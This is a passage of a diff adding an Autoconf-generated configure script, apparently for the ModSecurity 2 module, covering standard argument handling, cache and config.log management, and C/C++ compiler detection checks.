--config-cache | -C | -disable-* | --disable-* \ + | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ + | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ + | -with-* | --with-* | -without-* | --without-* | --x) + case "$ac_configure_args0 " in + "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; + esac + ;; + -* ) ac_must_keep_next=true ;; + esac + fi + ac_configure_args="$ac_configure_args '$ac_arg'" + ;; + esac + done +done +$as_unset ac_configure_args0 || test "${ac_configure_args0+set}" != set || { ac_configure_args0=; export ac_configure_args0; } +$as_unset ac_configure_args1 || test "${ac_configure_args1+set}" != set || { ac_configure_args1=; export ac_configure_args1; } + +# When interrupted or exit'd, cleanup temporary files, and complete +# config.log. We remove comments because anyway the quotes in there +# would cause problems or look ugly. +# WARNING: Use '\'' to represent an apostrophe within the trap. +# WARNING: Do not start the trap code with a newline, due to a FreeBSD 4.0 bug. +trap 'exit_status=$? + # Save into config.log some information that might help in debugging. + { + echo + + cat <<\_ASBOX +## ---------------- ## +## Cache variables. ## +## ---------------- ## +_ASBOX + echo + # The following way of writing the cache mishandles newlines in values, +( + for ac_var in `(set) 2>&1 | sed -n '\''s/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'\''`; do + eval ac_val=\$$ac_var + case $ac_val in #( + *${as_nl}*) + case $ac_var in #( + *_cv_*) { echo "$as_me:$LINENO: WARNING: Cache variable $ac_var contains a newline." >&5 +echo "$as_me: WARNING: Cache variable $ac_var contains a newline." >&2;} ;; + esac + case $ac_var in #( + _ | IFS | as_nl) ;; #( + *) $as_unset $ac_var ;; + esac ;; + esac + done + (set) 2>&1 | + case $as_nl`(ac_space='\'' '\''; set) 2>&1` in #( + *${as_nl}ac_space=\ *) + sed -n \ + "s/'\''/'\''\\\\'\'''\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\''\\2'\''/p" + ;; #( + *) + sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" + ;; + esac | + sort +) + echo + + cat <<\_ASBOX +## ----------------- ## +## Output variables. ## +## ----------------- ## +_ASBOX + echo + for ac_var in $ac_subst_vars + do + eval ac_val=\$$ac_var + case $ac_val in + *\'\''*) ac_val=`echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; + esac + echo "$ac_var='\''$ac_val'\''" + done | sort + echo + + if test -n "$ac_subst_files"; then + cat <<\_ASBOX +## ------------------- ## +## File substitutions. ## +## ------------------- ## +_ASBOX + echo + for ac_var in $ac_subst_files + do + eval ac_val=\$$ac_var + case $ac_val in + *\'\''*) ac_val=`echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; + esac + echo "$ac_var='\''$ac_val'\''" + done | sort + echo + fi + + if test -s confdefs.h; then + cat <<\_ASBOX +## ----------- ## +## confdefs.h. ## +## ----------- ## +_ASBOX + echo + cat confdefs.h + echo + fi + test "$ac_signal" != 0 && + echo "$as_me: caught signal $ac_signal" + echo "$as_me: exit $exit_status" + } >&5 + rm -f core *.core core.conftest.* && + rm -f -r conftest* confdefs* conf$$* $ac_clean_files && + exit $exit_status +' 0 +for ac_signal in 1 2 13 15; do + trap 'ac_signal='$ac_signal'; { (exit 1); exit 1; }' $ac_signal +done +ac_signal=0 + +# confdefs.h avoids OS command line length limits that DEFS can exceed. +rm -f -r conftest* confdefs.h + +# Predefined preprocessor variables. + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_NAME "$PACKAGE_NAME" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_TARNAME "$PACKAGE_TARNAME" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_VERSION "$PACKAGE_VERSION" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_STRING "$PACKAGE_STRING" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT" +_ACEOF + + +# Let the site file select an alternate cache file if it wants to. +# Prefer explicitly selected file to automatically selected ones. +if test -n "$CONFIG_SITE"; then + set x "$CONFIG_SITE" +elif test "x$prefix" != xNONE; then + set x "$prefix/share/config.site" "$prefix/etc/config.site" +else + set x "$ac_default_prefix/share/config.site" \ + "$ac_default_prefix/etc/config.site" +fi +shift +for ac_site_file +do + if test -r "$ac_site_file"; then + { echo "$as_me:$LINENO: loading site script $ac_site_file" >&5 +echo "$as_me: loading site script $ac_site_file" >&6;} + sed 's/^/| /' "$ac_site_file" >&5 + . "$ac_site_file" + fi +done + +if test -r "$cache_file"; then + # Some versions of bash will fail to source /dev/null (special + # files actually), so we avoid doing that. + if test -f "$cache_file"; then + { echo "$as_me:$LINENO: loading cache $cache_file" >&5 +echo "$as_me: loading cache $cache_file" >&6;} + case $cache_file in + [\\/]* | ?:[\\/]* ) . "$cache_file";; + *) . "./$cache_file";; + esac + fi +else + { echo "$as_me:$LINENO: creating cache $cache_file" >&5 +echo "$as_me: creating cache $cache_file" >&6;} + >$cache_file +fi + +# Check that the precious variables saved in the cache have kept the same +# value. +ac_cache_corrupted=false +for ac_var in $ac_precious_vars; do + eval ac_old_set=\$ac_cv_env_${ac_var}_set + eval ac_new_set=\$ac_env_${ac_var}_set + eval ac_old_val=\$ac_cv_env_${ac_var}_value + eval ac_new_val=\$ac_env_${ac_var}_value + case $ac_old_set,$ac_new_set in + set,) + { echo "$as_me:$LINENO: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5 +echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;} + ac_cache_corrupted=: ;; + ,set) + { echo "$as_me:$LINENO: error: \`$ac_var' was not set in the previous run" >&5 +echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} + ac_cache_corrupted=: ;; + ,);; + *) + if test "x$ac_old_val" != "x$ac_new_val"; then + { echo "$as_me:$LINENO: error: \`$ac_var' has changed since the previous run:" >&5 +echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;} + { echo "$as_me:$LINENO: former value: $ac_old_val" >&5 +echo "$as_me: former value: $ac_old_val" >&2;} + { echo "$as_me:$LINENO: current value: $ac_new_val" >&5 +echo "$as_me: current value: $ac_new_val" >&2;} + ac_cache_corrupted=: + fi;; + esac + # Pass precious variables to config.status. + if test "$ac_new_set" = set; then + case $ac_new_val in + *\'*) ac_arg=$ac_var=`echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; + *) ac_arg=$ac_var=$ac_new_val ;; + esac + case " $ac_configure_args " in + *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. + *) ac_configure_args="$ac_configure_args '$ac_arg'" ;; + esac + fi +done +if $ac_cache_corrupted; then + { echo "$as_me:$LINENO: error: changes in the environment can compromise the build" >&5 +echo "$as_me: error: changes in the environment can compromise the build" >&2;} + { { echo "$as_me:$LINENO: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&5 +echo "$as_me: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&2;} + { (exit 1); exit 1; }; } +fi + + + + + + + + + + + + + + + + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + + +ac_config_headers="$ac_config_headers mod_security2_config.h" + +ac_aux_dir= +for ac_dir in build "$srcdir"/build; do + if test -f "$ac_dir/install-sh"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install-sh -c" + break + elif test -f "$ac_dir/install.sh"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install.sh -c" + break + elif test -f "$ac_dir/shtool"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/shtool install -c" + break + fi +done +if test -z "$ac_aux_dir"; then + { { echo "$as_me:$LINENO: error: cannot find install-sh or install.sh in build \"$srcdir\"/build" >&5 +echo "$as_me: error: cannot find install-sh or install.sh in build \"$srcdir\"/build" >&2;} + { (exit 1); exit 1; }; } +fi + +# These three variables are undocumented and unsupported, +# and are intended to be withdrawn in a future Autoconf release. +# They can cause serious problems if a builder's source tree is in a directory +# whose full name contains unusual characters. +ac_config_guess="$SHELL $ac_aux_dir/config.guess" # Please don't use this var. +ac_config_sub="$SHELL $ac_aux_dir/config.sub" # Please don't use this var. +ac_configure="$SHELL $ac_aux_dir/configure" # Please don't use this var. + + + +# Checks for programs. +ac_ext=cpp +ac_cpp='$CXXCPP $CPPFLAGS' +ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_cxx_compiler_gnu +if test -z "$CXX"; then + if test -n "$CCC"; then + CXX=$CCC + else + if test -n "$ac_tool_prefix"; then + for ac_prog in g++ c++ gpp aCC CC cxx cc++ cl.exe FCC KCC RCC xlC_r xlC + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CXX+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CXX"; then + ac_cv_prog_CXX="$CXX" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CXX="$ac_tool_prefix$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CXX=$ac_cv_prog_CXX +if test -n "$CXX"; then + { echo "$as_me:$LINENO: result: $CXX" >&5 +echo "${ECHO_T}$CXX" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$CXX" && break + done +fi +if test -z "$CXX"; then + ac_ct_CXX=$CXX + for ac_prog in g++ c++ gpp aCC CC cxx cc++ cl.exe FCC KCC RCC xlC_r xlC +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_CXX+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_CXX"; then + ac_cv_prog_ac_ct_CXX="$ac_ct_CXX" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_CXX="$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_CXX=$ac_cv_prog_ac_ct_CXX +if test -n "$ac_ct_CXX"; then + { echo "$as_me:$LINENO: result: $ac_ct_CXX" >&5 +echo "${ECHO_T}$ac_ct_CXX" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$ac_ct_CXX" && break +done + + if test "x$ac_ct_CXX" = x; then + CXX="g++" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + CXX=$ac_ct_CXX + fi +fi + + fi +fi +# Provide some information about the compiler. +echo "$as_me:$LINENO: checking for C++ compiler version" >&5 +ac_compiler=`set X $ac_compile; echo $2` +{ (ac_try="$ac_compiler --version >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler --version >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -v >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler -v >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -V >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler -V >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files a.out a.exe b.out" +# Try to create an executable without -o first, disregard a.out. +# It will help us diagnose broken compilers, and finding out an intuition +# of exeext. +{ echo "$as_me:$LINENO: checking for C++ compiler default output file name" >&5 +echo $ECHO_N "checking for C++ compiler default output file name... $ECHO_C" >&6; } +ac_link_default=`echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` +# +# List of possible output files, starting from the most likely. +# The algorithm is not robust to junk in `.', hence go to wildcards (a.*) +# only as a last resort. b.out is created by i960 compilers. +ac_files='a_out.exe a.exe conftest.exe a.out conftest a.* conftest.* b.out' +# +# The IRIX 6 linker writes into existing files which may not be +# executable, retaining their permissions. Remove them first so a +# subsequent execution test works. +ac_rmfiles= +for ac_file in $ac_files +do + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.o | *.obj ) ;; + * ) ac_rmfiles="$ac_rmfiles $ac_file";; + esac +done +rm -f $ac_rmfiles + +if { (ac_try="$ac_link_default" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link_default") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # Autoconf-2.13 could set the ac_cv_exeext variable to `no'. +# So ignore a value of `no', otherwise this would lead to `EXEEXT = no' +# in a Makefile. We should not override ac_cv_exeext if it was cached, +# so that the user can short-circuit this test for compilers unknown to +# Autoconf. +for ac_file in $ac_files '' +do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.o | *.obj ) + ;; + [ab].out ) + # We found the default executable, but exeext='' is most + # certainly right. + break;; + *.* ) + if test "${ac_cv_exeext+set}" = set && test "$ac_cv_exeext" != no; + then :; else + ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + fi + # We set ac_cv_exeext here because the later test for it is not + # safe: cross compilers may not add the suffix if given an `-o' + # argument, so we may need to know it at that point already. + # Even if this section looks crufty: it has the advantage of + # actually working. + break;; + * ) + break;; + esac +done +test "$ac_cv_exeext" = no && ac_cv_exeext= + +else + ac_file='' +fi + +{ echo "$as_me:$LINENO: result: $ac_file" >&5 +echo "${ECHO_T}$ac_file" >&6; } +if test -z "$ac_file"; then + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { echo "$as_me:$LINENO: error: C++ compiler cannot create executables +See \`config.log' for more details." >&5 +echo "$as_me: error: C++ compiler cannot create executables +See \`config.log' for more details." >&2;} + { (exit 77); exit 77; }; } +fi + +ac_exeext=$ac_cv_exeext + +# Check that the compiler produces executables we can run. If not, either +# the compiler is broken, or we cross compile. +{ echo "$as_me:$LINENO: checking whether the C++ compiler works" >&5 +echo $ECHO_N "checking whether the C++ compiler works... $ECHO_C" >&6; } +# FIXME: These cross compiler hacks should be removed for Autoconf 3.0 +# If not cross compiling, check that we can run a simple program. +if test "$cross_compiling" != yes; then + if { ac_try='./$ac_file' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + cross_compiling=no + else + if test "$cross_compiling" = maybe; then + cross_compiling=yes + else + { { echo "$as_me:$LINENO: error: cannot run C++ compiled programs. +If you meant to cross compile, use \`--host'. +See \`config.log' for more details." >&5 +echo "$as_me: error: cannot run C++ compiled programs. +If you meant to cross compile, use \`--host'. +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } + fi + fi +fi +{ echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } + +rm -f a.out a.exe conftest$ac_cv_exeext b.out +ac_clean_files=$ac_clean_files_save +# Check that the compiler produces executables we can run. If not, either +# the compiler is broken, or we cross compile. +{ echo "$as_me:$LINENO: checking whether we are cross compiling" >&5 +echo $ECHO_N "checking whether we are cross compiling... $ECHO_C" >&6; } +{ echo "$as_me:$LINENO: result: $cross_compiling" >&5 +echo "${ECHO_T}$cross_compiling" >&6; } + +{ echo "$as_me:$LINENO: checking for suffix of executables" >&5 +echo $ECHO_N "checking for suffix of executables... $ECHO_C" >&6; } +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # If both `conftest.exe' and `conftest' are `present' (well, observable) +# catch `conftest.exe'. For instance with Cygwin, `ls conftest' will +# work properly (i.e., refer to `conftest.exe'), while it won't with +# `rm'. +for ac_file in conftest.exe conftest conftest.*; do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.o | *.obj ) ;; + *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + break;; + * ) break;; + esac +done +else + { { echo "$as_me:$LINENO: error: cannot compute suffix of executables: cannot compile and link +See \`config.log' for more details." >&5 +echo "$as_me: error: cannot compute suffix of executables: cannot compile and link +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } +fi + +rm -f conftest$ac_cv_exeext +{ echo "$as_me:$LINENO: result: $ac_cv_exeext" >&5 +echo "${ECHO_T}$ac_cv_exeext" >&6; } + +rm -f conftest.$ac_ext +EXEEXT=$ac_cv_exeext +ac_exeext=$EXEEXT +{ echo "$as_me:$LINENO: checking for suffix of object files" >&5 +echo $ECHO_N "checking for suffix of object files... $ECHO_C" >&6; } +if test "${ac_cv_objext+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.o conftest.obj +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + for ac_file in conftest.o conftest.obj conftest.*; do + test -f "$ac_file" || continue; + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf ) ;; + *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` + break;; + esac +done +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { echo "$as_me:$LINENO: error: cannot compute suffix of object files: cannot compile +See \`config.log' for more details." >&5 +echo "$as_me: error: cannot compute suffix of object files: cannot compile +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } +fi + +rm -f conftest.$ac_cv_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_objext" >&5 +echo "${ECHO_T}$ac_cv_objext" >&6; } +OBJEXT=$ac_cv_objext +ac_objext=$OBJEXT +{ echo "$as_me:$LINENO: checking whether we are using the GNU C++ compiler" >&5 +echo $ECHO_N "checking whether we are using the GNU C++ compiler... $ECHO_C" >&6; } +if test "${ac_cv_cxx_compiler_gnu+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ +#ifndef __GNUC__ + choke me +#endif + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_cxx_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_compiler_gnu=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_compiler_gnu=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +ac_cv_cxx_compiler_gnu=$ac_compiler_gnu + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_cxx_compiler_gnu" >&5 +echo "${ECHO_T}$ac_cv_cxx_compiler_gnu" >&6; } +GXX=`test $ac_compiler_gnu = yes && echo yes` +ac_test_CXXFLAGS=${CXXFLAGS+set} +ac_save_CXXFLAGS=$CXXFLAGS +{ echo "$as_me:$LINENO: checking whether $CXX accepts -g" >&5 +echo $ECHO_N "checking whether $CXX accepts -g... $ECHO_C" >&6; } +if test "${ac_cv_prog_cxx_g+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_save_cxx_werror_flag=$ac_cxx_werror_flag + ac_cxx_werror_flag=yes + ac_cv_prog_cxx_g=no + CXXFLAGS="-g" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_cxx_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_prog_cxx_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + CXXFLAGS="" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_cxx_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cxx_werror_flag=$ac_save_cxx_werror_flag + CXXFLAGS="-g" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_cxx_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_prog_cxx_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + ac_cxx_werror_flag=$ac_save_cxx_werror_flag +fi +{ echo "$as_me:$LINENO: result: $ac_cv_prog_cxx_g" >&5 +echo "${ECHO_T}$ac_cv_prog_cxx_g" >&6; } +if test "$ac_test_CXXFLAGS" = set; then + CXXFLAGS=$ac_save_CXXFLAGS +elif test $ac_cv_prog_cxx_g = yes; then + if test "$GXX" = yes; then + CXXFLAGS="-g -O2" + else + CXXFLAGS="-g" + fi +else + if test "$GXX" = yes; then + CXXFLAGS="-O2" + else + CXXFLAGS= + fi +fi +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. +set dummy ${ac_tool_prefix}gcc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="${ac_tool_prefix}gcc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_CC"; then + ac_ct_CC=$CC + # Extract the first word of "gcc", so it can be a program name with args. +set dummy gcc; 